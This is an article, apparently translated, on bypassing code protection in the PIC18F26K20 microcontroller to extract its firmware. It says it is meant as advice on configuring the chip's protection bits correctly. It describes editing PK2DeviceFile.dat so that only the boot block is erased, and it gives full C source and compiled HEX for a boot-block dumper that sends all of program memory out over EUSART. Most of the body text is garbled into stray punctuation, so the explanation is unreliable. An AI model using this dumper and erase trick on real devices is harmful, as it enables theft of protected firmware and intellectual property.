This article is not a guide to hackers, it is a hint on how to properly use the tools provided by MICROCHIP to protect the firmware inside the chip.
I don't remember how many years ago it was, I came across an article "Heart of darkness - exploring the uncharted backwaters of hid ilass security by Milosch Meriac". The essence of the article is in iCLASS card security issues. In general, I quickly ran through the article until I came across: "Copy Protection? You're kidding me!" And I was "gnarled with delight" ... but why was it possible !!!?
Sorry, nothing is clear, I'll explain now.
I do not remember which PIC was at hand then, now there is a PIC18F26K20.
The essence of the vulnerability.
Launch PICKIT and open the PIC18F * K * programming datasheet along the way.
Look, the EEPROM protection bits are green, the BOOT block protection bits are red, the code protection bits are blue, blocks 0-3.
CPB / WRTB, CP [3: 0] / WRT [3: 0] - protection from reading / writing code, first BOOT then blocks 0-3.
CPD/WRTD - / EEP .
: EBTRB/EBTR[3:0] - .
"" ( ):
, - !
:
! !
.
, :
, - " 1 0, , 1 . . 1". , !
BOOT , , EUSART.
, BOOT , " ", 0, , NOP', " ". :
HEX , ! .
, EEP. :
. .
, . :
: 0x3F8F, BOOT: 0x0084, Block0: 0x0180.
?
PICKIT3 ( " " , ):
. Microchip (PICkit3 Programmer Application v3.10).
... , , , PIC KIT Programmer...
( )... !!! !!! ?
PK2DeviceFile.dat
, , PK2DeviceFile.dat (pickit2-editor, "" ).
PicKit2 Editor :
, , (0x3F8F -> 0x0084).
0x3F 0x00, 0x8F 0x84. ERASE, PicKit Programmer , BOOT .
, .
, EUSART , EUASRT, RS232->USB ( . ). :
, 18- ( , ):
. :
data_reader.c
#include "pic18fregs.h"
/* CONFIG1L */
#pragma config FOSC = INTIO67
#pragma config FCMEN = OFF
#pragma config IESO = OFF
/* CONFIG2L */
#pragma config PWRT = OFF
#pragma config BOREN = NOSLP
#pragma config BORV = 18
/* CONFIG2H */
#pragma config WDTEN = ON
#pragma config WDTPS = 128
/* CONFIG3H */
#pragma config CCP2MX = PORTC
#pragma config PBADEN = OFF
#pragma config LPT1OSC = OFF
#pragma config HFOFST = OFF
#pragma config MCLRE = OFF
/* CONFIG4L */
#pragma config STVREN = ON
#pragma config LVP = OFF
#pragma config XINST = OFF
#pragma config DEBUG = OFF
/* CONFIG5L */
#pragma config CP0 = ON
#pragma config CP1 = ON
#pragma config CP2 = ON
#pragma config CP3 = ON
/* CONFIG5H */
#pragma config CPB = ON
#pragma config CPD = OFF
/* CONFIG6L */
#pragma config WRT0 = OFF
#pragma config WRT1 = OFF
#pragma config WRT2 = OFF
#pragma config WRT3 = OFF
/* CONFIG6H */
#pragma config WRTD = OFF
#pragma config WRTB = OFF
#pragma config WRTC = OFF
/* CONFIG7L */
#pragma config EBTR0 = OFF
#pragma config EBTR1 = OFF
#pragma config EBTR2 = OFF
#pragma config EBTR3 = OFF
/* CONFIG7H */
#pragma config EBTRB = OFF
typedef __code unsigned char *CODEPTR;
void main()
{
unsigned int uaddr = 0;
CODEPTR c;
TRISA = 0;
TRISB = 0;
TRISC = 0;
/* Set Default State of OSC */
OSCCON = 0b00110000;
PIR2 = PIE2 = OSCTUNE = 0;
IPR2 = 0xFF;
/* Disable IRQs */
INTCONbits.GIE = 0;
/* enable EUSART */
RCSTAbits.SPEN = 1;
/* baud rate to 2400 Baud */
SPBRG = 25;
/* enable TX + only HI byte divisor */
TXSTA = 0b00100100;
c = 0x0;
do
{
TXREG = *c++;
while (!TXSTAbits.TRMT);
ClrWdt();
} while (c != (CODEPTR)0x10000);
while (1)
{
/* Recharge WDT */
ClrWdt();
}
}
:
data_reader.hex
:020000040000FA :10000000926A936A946A300ED36E9B6AA06AA16A60 :10001000FF0EA26EF29EAB8E190EAF6E240EAC6E6A :10002000006A016A026A00C0F6FF01C0F7FF02C061 :10003000F8FF0900F5CFADFF002A02E3014A022ACA :10004000ACA2FED70400005005E1015003E10250CC :0C005000010A01E0E8D70400FED712000E :020000040030CA :03000100081D0FC8 :02000500018177 :0600080000C00FE00F40F4 :00000001FF
:
.
. .
:
EBTRB/EBTR[3:0] - .
PIC18 .
:
EBTRB/EBTR[3:0] - , " " .
, - , ! .
.
.